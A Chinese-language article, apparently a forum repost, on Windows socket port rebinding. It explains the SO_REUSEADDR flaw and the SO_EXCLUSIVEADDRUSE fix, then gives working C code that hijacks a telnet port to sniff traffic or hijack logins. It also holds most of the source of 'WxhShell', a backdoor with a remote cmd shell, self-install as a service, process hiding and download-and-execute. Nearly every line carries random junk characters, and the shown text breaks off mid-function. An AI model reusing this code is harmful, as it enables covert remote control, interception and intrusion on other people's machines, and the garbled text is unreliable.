在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
TyDh\f!w s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
'X<4";$mU m8@&-,T saddr.sin_family = AF_INET;
!iO2yp @A4$k
dJ2 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
<O5WY37"q hw$!LTB2 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
d~1uK-L]* b9-IrR4h 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
nr2 Q[9~ i.k7qclL` 这意味着什么?意味着可以进行如下的攻击:
8EI9&L> 8~tX>q<@q 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
K!]a+M]> k&2=-qgVR 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Kci. ,I wA\5-C7j 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
z/u^ 8Qo'[+4; 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
6<EGH*GQ$ N_IKH)
其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Cb1w8l0 lD[37U! 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
_0(%^5Y T'9ZR,{F 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
-Arsmo XeX"IhgS>E #include
jUE gu #include
MB!9tju #include
U.KQjBi #include
rUpe ;c DWORD WINAPI ClientThread(LPVOID lpParam);
baBBn%_V int main()
P0e-v0 {
RWc<CQcL" WORD wVersionRequested;
RN[I%^$" DWORD ret;
;I&VpAPx WSADATA wsaData;
I]^>>>p$ BOOL val;
?u|@,tQ[ SOCKADDR_IN saddr;
CJ*
D SOCKADDR_IN scaddr;
_Z23lF9 int err;
$c9-Q+pZ SOCKET s;
XEgJ7h_ SOCKET sc;
>~SS^I0 int caddsize;
^cm]
[9 HANDLE mt;
ZUHRATT- DWORD tid;
T9C_=0(hn wVersionRequested = MAKEWORD( 2, 2 );
`PC9t)%.pV err = WSAStartup( wVersionRequested, &wsaData );
CmZayV if ( err != 0 ) {
v8)"skVnFG printf("error!WSAStartup failed!\n");
CuWJai:nQ; return -1;
fC[za,PXaE }
EHk\Q\ saddr.sin_family = AF_INET;
Gq^vto sU"%,Q5 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
P(hGkY=( X_]rtG saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
BH">#&j[ saddr.sin_port = htons(23);
O2?C * if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
1@DC#2hPr {
D7;9D*o\ printf("error!socket failed!\n");
SVZocTt return -1;
g1s%x=7/ }
8NWo)y49H val = TRUE;
pFv u,Q" //SO_REUSEADDR选项就是可以实现端口重绑定的
aYWWln if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
$VuXr=f} {
s
V_(9@b printf("error!setsockopt failed!\n");
rZ~w_DK* return -1;
_y@].G }
mHxR4%i5 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
:OG I|[ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
iQ;p59wSzL //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
T#))_aC 7;s#QqG`I if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Y()"2CCV {
98>GHl'lM ret=GetLastError();
iRzFA!wH printf("error!bind failed!\n");
>?, Zn return -1;
VPe0\?!d }
x4oWZEd listen(s,2);
9
r!zYZ`)
while(1)
l4OrlS/ 5 {
>]\I:T caddsize = sizeof(scaddr);
ffZ~r%25{ //接受连接请求
5E&#Kh(I sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
tAdE<).! if(sc!=INVALID_SOCKET)
_)M,p@!?=h {
SIe!=F[ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
an"&'D}U if(mt==NULL)
*MP.YI:h {
2
T!Tiu printf("Thread Creat Failed!\n");
c0oHE8@ break;
558P"w0"X }
\$ytmtf5 }
<$A,Ex94 CloseHandle(mt);
YmziHns`b }
[3Pp
NCY closesocket(s);
[nTI\17iA WSACleanup();
$ik*!om5 return 0;
P {TJ$ }
,/42^|=Z6O DWORD WINAPI ClientThread(LPVOID lpParam)
m`/Nl< {
9iA rBL" SOCKET ss = (SOCKET)lpParam;
rbZbj# SOCKET sc;
@5Xo2}o-Q unsigned char buf[4096];
=V^-@ji)b SOCKADDR_IN saddr;
l8\UO<^fY long num;
-V2\s DWORD val;
l<6u@,%s
DWORD ret;
@(3F4Z.i%. //如果是隐藏端口应用的话,可以在此处加一些判断
mdj%zJ8/ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
`o[l%I\Q saddr.sin_family = AF_INET;
JVZ-nHf(9 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
,_2-Op saddr.sin_port = htons(23);
T5S4,.o9W if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{>]\< {
p3I"LY printf("error!socket failed!\n");
&Y]':gJ return -1;
+yGQt3U }
d*gAL<M7E val = 100;
I;(3)^QH# if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
at: li {
3S^0%"fY ret = GetLastError();
=Zd(<&B K return -1;
LdPLC':}x| }
Ql*zl if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
wA)
Hot
{
"mlQ z4D)5 ret = GetLastError();
}qNc `8h return -1;
Gt w>R }
^L[:DB{Z if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
2jsbg{QS#_ {
*FlPGBjJ printf("error!socket connect failed!\n");
<W4F`6`x closesocket(sc);
$v^hzC closesocket(ss);
)t6]F6!_ return -1;
,YYEn^:> }
w5@5"M while(1)
YH&=cI@ {
z/@_?01T= //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
1U 6B$(V^i //如果是嗅探内容的话,可以再此处进行内容分析和记录
7]ieBUfS //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
0> f!S` * num = recv(ss,buf,4096,0);
iOE. .xA: if(num>0)
K7
e~%mY send(sc,buf,num,0);
[a=exK else if(num==0)
|Splbsk break;
%opBJ num = recv(sc,buf,4096,0);
xoaO=7\io if(num>0)
5)[~
T2j! send(ss,buf,num,0);
f6Qr0Op else if(num==0)
i"8mrWb break;
[>=!$>>;8 }
_plK(g-1J% closesocket(ss);
-d ntV= closesocket(sc);
O9=/\Kc return 0 ;
g'0CYY }
^D yw(>9 >Vuvbo x#rgFY,TY ==========================================================
dP5x]'"x 3EoCEPb# 下边附上一个代码,,WXhSHELL
NvR{S /Z Lb*KEF% s ==========================================================
^ Ltho` Q8p6n #include "stdafx.h"
.Y)[c.,j |)-kUu #include <stdio.h>
j8Z, :op #include <string.h>
@Nu2
:~JO #include <windows.h>
rIyH/=; #include <winsock2.h>
;b~ S/ #include <winsvc.h>
PwY/VGT #include <urlmon.h>
tFN >]`Z dzVi ~wt_& #pragma comment (lib, "Ws2_32.lib")
@MW@mP)# #pragma comment (lib, "urlmon.lib")
jHLs
5% )uPJ?
2S9 #define MAX_USER 100 // 最大客户端连接数
BZR{}Aj4pa #define BUF_SOCK 200 // sock buffer
.3!Wr*o #define KEY_BUFF 255 // 输入 buffer
IqOg{#sm ]WT@&F #define REBOOT 0 // 重启
u9lZHh#V- #define SHUTDOWN 1 // 关机
Fq9YhR 8@3K, [Mo #define DEF_PORT 5000 // 监听端口
sI ,!+ $Y/9SD
#define REG_LEN 16 // 注册表键长度
Jt~Ivn, #define SVC_LEN 80 // NT服务名长度
hI[}
- &2'-v@kK // 从dll定义API
tvkdNMyX%9 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
-m@o\9Ic typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
h`[$
Bp typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
,75) typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
*~rj!N?; .RD<]BxJ // wxhshell配置信息
=c8}^3L~7 struct WSCFG {
7"(!]+BW!O int ws_port; // 监听端口
m|*B0GW char ws_passstr[REG_LEN]; // 口令
_O9V"DM int ws_autoins; // 安装标记, 1=yes 0=no
rb*|0ST char ws_regname[REG_LEN]; // 注册表键名
te_2"Z char ws_svcname[REG_LEN]; // 服务名
VPLf( char ws_svcdisp[SVC_LEN]; // 服务显示名
@]\fO)\f char ws_svcdesc[SVC_LEN]; // 服务描述信息
'&>"`q char ws_passmsg[SVC_LEN]; // 密码输入提示信息
`lhw*{3A int ws_downexe; // 下载执行标记, 1=yes 0=no
AGBV7Kk char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
exRw, Nk4 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
7DB_Z/uU ,_z79tC{s };
FX:`7c]:9 [KDxB>R<{ // default Wxhshell configuration
`e[S Zj\ struct WSCFG wscfg={DEF_PORT,
"*g+qll!5d "xuhuanlingzhe",
i'tMpS3 1,
W!Tx% "Wxhshell",
m/HT3<F "Wxhshell",
86&M Zdv6 "WxhShell Service",
KK|w30\f "Wrsky Windows CmdShell Service",
1wSAwpz "Please Input Your Password: ",
\Z{tC$|H 1,
EF/d7 "
http://www.wrsky.com/wxhshell.exe",
{X{R] "Wxhshell.exe"
C.j+Zb1Z( };
KE?t?p W.wPy@yi // 消息定义模块
$8EEtr,! char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
-I< >Ab char *msg_ws_prompt="\n\r? for help\n\r#>";
Vk5Z[w a char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
C@M-_Ud>Q char *msg_ws_ext="\n\rExit.";
'
jciX]g char *msg_ws_end="\n\rQuit.";
MK<
y$B{} char *msg_ws_boot="\n\rReboot...";
('J/Ww< char *msg_ws_poff="\n\rShutdown...";
o3WOp80hz char *msg_ws_down="\n\rSave to ";
ChBf:`e >P6"-x,[" char *msg_ws_err="\n\rErr!";
oFk2y ^>u char *msg_ws_ok="\n\rOK!";
a ~o<>H XF`2*:7 char ExeFile[MAX_PATH];
P^Hgm int nUser = 0;
h]7_
N, HANDLE handles[MAX_USER];
c:Ua\$)u3, int OsIsNt;
2+]5}'M ,EqQU| SERVICE_STATUS serviceStatus;
*v<f#hB" SERVICE_STATUS_HANDLE hServiceStatusHandle;
HU0.)tD #G9
W65 f // 函数声明
sz7*x{E int Install(void);
d0J/"< int Uninstall(void);
!j~wAdHk int DownloadFile(char *sURL, SOCKET wsh);
DP_b9o
\5 int Boot(int flag);
Iix,}kzss void HideProc(void);
vHaM yA- int GetOsVer(void);
Bfb~<rs[ int Wxhshell(SOCKET wsl);
nz 10/nw void TalkWithClient(void *cs);
R'c*CLaiE int CmdShell(SOCKET sock);
q~{)
{t; int StartFromService(void);
j?T'N:Qd int StartWxhshell(LPSTR lpCmdLine);
PgtLyzc Ku5||u.F4* VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
p.8 bX VOID WINAPI NTServiceHandler( DWORD fdwControl );
B4s$| i{D 2- iY:r // 数据结构和表定义
lZzW-
%K SERVICE_TABLE_ENTRY DispatchTable[] =
Y;w|Fvjj+ {
S!K<kn`E3 {wscfg.ws_svcname, NTServiceMain},
HG"ZN)~ {NULL, NULL}
oXo>pl };
~DH9iB J,$xQ?,wE // 自我安装
:s)cTq| 3 int Install(void)
Y1r$;;sH {
1UQ,V`y char svExeFile[MAX_PATH];
:>-zT[Lcn HKEY key;
XQ1]F{?/H strcpy(svExeFile,ExeFile);
18$d-[hX ]w *"KG!( // 如果是win9x系统,修改注册表设为自启动
lKbWQ> if(!OsIsNt) {
n6Oz[7M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
p.:651b RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
g{&5a(W&` RegCloseKey(key);
*qpFtBg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
|n_N.Z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
|# 0'_ RegCloseKey(key);
Z% +$<J return 0;
082}=Tsx }
lpi"@3 }
_hnsH
I!oD }
!vX4_!% else {
~EtGR #
N RO3LZBL // 如果是NT以上系统,安装为系统服务
lpT&v;$` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
&M-vKc"d if (schSCManager!=0)
sRB=<E*_ {
5OM#_.p SC_HANDLE schService = CreateService
le*+(aw
(
:N8n6)#1= schSCManager,
}6Pbjm * wscfg.ws_svcname,
qrMED_(D wscfg.ws_svcdisp,
~+.= SERVICE_ALL_ACCESS,
z ]f(lwo{ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
#-|fdcb SERVICE_AUTO_START,
1dvP2E SERVICE_ERROR_NORMAL,
`wa;@p+j8 svExeFile,
MlTC?Rp# NULL,
XPhP1 ^>\ NULL,
3a:Hx|
Yg NULL,
8Z!%rS NULL,
,ye}p1M NULL
8T+9
fh]I );
>H+tZV if (schService!=0)
(wj:Gc {
?}`-?JB1 CloseServiceHandle(schService);
c0wLc,)G CloseServiceHandle(schSCManager);
!'_7MM strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
!B`z|# strcat(svExeFile,wscfg.ws_svcname);
F{mUxo#T if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
8#!g;`~ D RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
A%#M#hD/ RegCloseKey(key);
sOqFEvzo1% return 0;
^i@anbH }
S(@kdL }
=
#-zK:4 CloseServiceHandle(schSCManager);
>5O~SF. }
aOvqk ^ }
cfmLErkp ,h=a+ja8 return 1;
,^bgk
-x- }
B}[CU='P* =!-} q // 自我卸载
ge`GQ> int Uninstall(void)
'p5M|h\:T {
eipg,EI HKEY key;
+-tFg XG +cfcr* if(!OsIsNt) {
8SpG/gl" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
{ <Gyjq RegDeleteValue(key,wscfg.ws_regname);
\W=3P[gb RegCloseKey(key);
#E+ybwA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
!4Aj#`) RegDeleteValue(key,wscfg.ws_regname);
F]M-r{ RegCloseKey(key);
"R5G^-<hp return 0;
kq X=3Zo }
*zUK3&n~I }
p2Khfl6- }
*AV%= else {
Uha.8 D>k(#vYKB SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
XQ~Xls%]
if (schSCManager!=0)
U4*u|A {
YE@yts SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
XaCvBQ if (schService!=0)
jyD~ER}J {
CHTK.%AQH! if(DeleteService(schService)!=0) {
R'sNMWM CloseServiceHandle(schService);
.@): Uh CloseServiceHandle(schSCManager);
J4ZHE\ return 0;
6):1U }
N!ihj:, CloseServiceHandle(schService);
IP/%=m)\% }
?98!2:'{9 CloseServiceHandle(schSCManager);
L\UPM+tE }
X<5fn+{]S: }
oeg
Bk s,r|p@^ return 1;
`U|7sLR }
Xfg3q.q cFc(HADM`r // 从指定url下载文件
(rFiHv5 int DownloadFile(char *sURL, SOCKET wsh)
<O7!( {
c2NB@T9'v HRESULT hr;
nrY)i_\ char seps[]= "/";
p-IJ':W char *token;
-TVwoK char *file;
Iuz_u2"C char myURL[MAX_PATH];
~*bfS}F8I char myFILE[MAX_PATH];
/[dMw
*SRz p _[,P7 strcpy(myURL,sURL);
FzEs1hpl token=strtok(myURL,seps);
W8 Ssv while(token!=NULL)
^vMlRt; {
MrzD
ah9UG file=token;
4GP?t4][ token=strtok(NULL,seps);
dV[G-p
}
WP*}X7IS tx7 zG., GetCurrentDirectory(MAX_PATH,myFILE);
rO>'QZ% strcat(myFILE, "\\");
/69yR strcat(myFILE, file);
RWv4/=}(G send(wsh,myFILE,strlen(myFILE),0);
cW>=/ send(wsh,"...",3,0);
ef^GJTv&k hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
pMT7 /y- if(hr==S_OK)
QL8C!&= return 0;
7Tk//By7 else
k JmwR return 1;
lIS`_H} zHA::6OgPN }
N `:MF 9 Yw#fQFm // 系统电源模块
9vP;i= fr int Boot(int flag)
7)QZ<fme {
Xuu&`U~% HANDLE hToken;
..5~x~O TOKEN_PRIVILEGES tkp;
,z.l#hj,{ 2Snb+,o2 if(OsIsNt) {
KO=$Hr?f; OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
G+N1#0,q LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
1iY4|j;ahV tkp.PrivilegeCount = 1;
9V1d`]tP tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
ic`BDkNO AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
iXy1{=BDv if(flag==REBOOT) {
FbroI>" e if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
nEu:& 4 return 0;
Ik^^8@z }
S>I` y]qlR else {
K-:y if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
- (WH+ return 0;
h#Z["BG }
{Vj&i.2, }
w[d8#U else {
w r"0+J7 if(flag==REBOOT) {
c45s
#6 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
r<fcZ)jt| return 0;
)Xg5=zn$ }
]}lt^7\= else {
/>mK.FT if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
"'bl)^+?, return 0;
,2$<Pt; }
<4.Exha;= }
!DOyOTR&3 by'KJxl[ return 1;
beo(7,=& }
>I\B_q }P?e31@: // win9x进程隐藏模块
0&sa#g2 void HideProc(void)
%?+vtX {
+ZNOvcsV \1G'{#Q HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
,B'=$PO% if ( hKernel != NULL )
y:98}gW`n {
AC1RP`c pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
K7`6G[RMb ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
hUi@T}aA| FreeLibrary(hKernel);
DAb/B }
;iuwIdo6c tgKr*8t{ return;
pM@8T25= }
GqxnB k1 dvjj"F'Bf // 获取操作系统版本
f2x!cL|Kx? int GetOsVer(void)
'27$x&6>S {
xx!8cvD4? OSVERSIONINFO winfo;
SPE)db3 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
v^ @)&, GetVersionEx(&winfo);
D<69xT, if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
_l9fNf!@ return 1;
|\Jnr3) else
,:PMS8pS return 0;
@
&N }
P6.PjK!Ar ldUZ\z(* // 客户端句柄模块
v|(]u3=1_ int Wxhshell(SOCKET wsl)
nQmHYOF% {
3`yO&upk SOCKET wsh;
kyAN O struct sockaddr_in client;
xH\\#4/ DWORD myID;
L0"|4= I :<,9. while(nUser<MAX_USER)
xg/( {
7*uN[g#p int nSize=sizeof(client);
%urvX$r4K wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
\85%d0@3 if(wsh==INVALID_SOCKET) return 1;
}y6@YfV${ nDdY~f.B handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
~'lT8 n_ if(handles[nUser]==0)
IOZw[9](+ closesocket(wsh);
q6F1Rt else
=!q]0# nUser++;
F2}Fuupb. }
ybiTWM WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
7JBs7LG aC[G_ACwc return 0;
3XlQ 4 }
m@XX2l9:9 [@lK[7 u // 关闭 socket
S'34](9n6 void CloseIt(SOCKET wsh)
n7bVL#Sq[ {
9JP:wE~y closesocket(wsh);
>
f X^NX nUser--;
y\^zxG*]' ExitThread(0);
bK%F_v3' }
#ae?#?/" *fc8M(]&d // 客户端请求句柄
}d}gb`Du void TalkWithClient(void *cs)
UCcr> {
<@(\z
>u>
E !5O SOCKET wsh=(SOCKET)cs;
b\ED<' char pwd[SVC_LEN];
:bct+J}l~ char cmd[KEY_BUFF];
O80Z7 char chr[1];
T+Re1sPr? int i,j;
>
Hv9Xz `3\U9ZH23 while (nUser < MAX_USER) {
I%r7L Y9X,2L7V if(wscfg.ws_passstr) {
E>QS^)ih if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
S|tA%2z //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
k*;U?C! //ZeroMemory(pwd,KEY_BUFF);
5%2~/
" i=0;
n)X%&_ while(i<SVC_LEN) {
O~qRHYv u;$qJjS
N // 设置超时
t RU/[?! fd_set FdRead;
>97YK = struct timeval TimeOut;
CbM~\6R FD_ZERO(&FdRead);
NOs00 H FD_SET(wsh,&FdRead);
?MFC(Wsh
TimeOut.tv_sec=8;
C'[4jz0xF TimeOut.tv_usec=0;
{2 q"9Ox" int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
[!%5(Ro_ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
&'12,'8 }Q: CZ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
wqDf\k}'v pwd
=chr[0]; VQ('ejv}/
if(chr[0]==0xd || chr[0]==0xa) { 3y.+03
W
pwd=0; @xdtl{5G
break; =Ya^PAj '}
} w&H>`l06
i++; NE#`ZUr3
} WVyDE1K<
uB"B{:Kz
// 如果是非法用户,关闭 socket .>;??BG}
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <!m.+
} <7`k[~)VB
O<p=&=TD7
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bJMsB|r
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t }4
b)IQa,enH
while(1) { #L!`n)J"
Ec<33i]h*p
ZeroMemory(cmd,KEY_BUFF); UucX1%
r8 YM#dF
// 自动支持客户端 telnet标准 f`ibP6%
j=0; mxCneX
while(j<KEY_BUFF) { 0@?m"|G
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tLKf]5}f
cmd[j]=chr[0]; 2gK]w$H7!
if(chr[0]==0xa || chr[0]==0xd) { Me z&@{
cmd[j]=0; s2,6aW C
break; D6lzcf
} !)oQ9,N
j++; ^"<Bk<b(
} m#W XZr
ep3VJ"^
// 下载文件 6k@F?qHS
if(strstr(cmd,"http://")) { ]/h$6mrL
send(wsh,msg_ws_down,strlen(msg_ws_down),0); '['%b
if(DownloadFile(cmd,wsh)) uM'n4 oH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *Jcd_D\-(1
else 2|?U%YrHWs
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c86?-u')
} }f;TG:6
else { /Zs_G=\>
&zgliT!If
switch(cmd[0]) { TX YO{
7@ONCG
// 帮助 j9c:SP5
case '?': { q<.k:v&
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U^[AW$WzU
break; i;~.kgtq4
} :-59~8&
// 安装 7p'pz8n`X
case 'i': { 5+{oQs_
if(Install()) 5xKod0bA
send(wsh,msg_ws_err,strlen(msg_ws_err),0); pFMJG<W9,
else OD[=fR|cp
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U&(gNuR>J
break; :s+?"'DP
} p5rq>&"
// 卸载 93Gj#Mk
case 'r': { IIMf\JdM
if(Uninstall()) < (9
BO &
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %ho?KU2j
else LR.]&(kyd
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !_+FuF"@
break; U7U&^s6`
} *eXs7 "H
// 显示 wxhshell 所在路径 OSuQ7V
case 'p': { KgYQxEbIW
char svExeFile[MAX_PATH]; 3bGU;2~}
strcpy(svExeFile,"\n\r"); /AX)n:,
strcat(svExeFile,ExeFile); CEkf0%YJ
send(wsh,svExeFile,strlen(svExeFile),0); p) ;[;S
break; d\Up6F
} jK\kASwG
// 重启 SefF Ci%4
case 'b': { B:i$
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J s33S)
if(Boot(REBOOT)) i0\]^F
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rvhMu}.
else { \COoU("
closesocket(wsh); Z! /_H($
ExitThread(0); Yt_tAm
} 6&i])iH
break; 7^.g\Kt?
} j?tE#
// 关机 +#>nOn(B
case 'd': { 6 Yva4Lv
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6C"${}SF`
if(Boot(SHUTDOWN)) jN=
!Q&^i[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {LKW%G7
else { GRj [2I7:
closesocket(wsh); ]n1#8T&<*z
ExitThread(0); 8:I-?z;S
}
StNA(+rT
break; &!:mL],
} 0%rE*h9+
// 获取shell wmbG$T%k
case 's': { (@BB@G
CmdShell(wsh); AVz907h8
closesocket(wsh); 2sqH
>fen
ExitThread(0); (G{:O
break; @QpL*F
} { .i^&
// 退出 Rbgy?8#9
case 'x': { ooa"Th<
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ug#B( }/
CloseIt(wsh); ;\13x][
break; T{3-H(-gA
} NP\/9
8|1
// 离开 4%yeEc;z
case 'q': { iqX%pR~Yo
send(wsh,msg_ws_end,strlen(msg_ws_end),0); BUI#y `J
closesocket(wsh); ;x|?N*
WSACleanup(); |P9Mhf N
exit(1); Z~w?Qm:/
break; `]6W*^'PD
} c.-dwz
} 6~!7?FK
} KCa @0
um".Z4S
// 提示信息 yJ; ;&
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #K-O<:s=y
} {v d+cE
} g_Y$5ft`
Q'e[(^8
return; qpf|.m
} 5
r<cna
B.Z5+MgM
// shell模块句柄 04X/(74
int CmdShell(SOCKET sock) l,QO+
>)z
{ 5@bmm]
STARTUPINFO si; ;;^?vS
ZeroMemory(&si,sizeof(si)); -q-BP}r3
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C?g*c
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ln h'y`q
PROCESS_INFORMATION ProcessInfo; SrWmV@"y
char cmdline[]="cmd"; HZ{DlH;&
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5C-n"8&C&
return 0; U6nC
<3f
F
} <&1hJ)O
o(i?_4E
// 自身启动模式 ,/p.!+
int StartFromService(void) cKwmtmwB
{ nl-tJ.MU"
typedef struct CfOhk
{ <HW2W"Go\
DWORD ExitStatus; 8fWIZ
DWORD PebBaseAddress; uF*tlaV6
DWORD AffinityMask; :G<~x8]k0
DWORD BasePriority; gHvkr?Cg
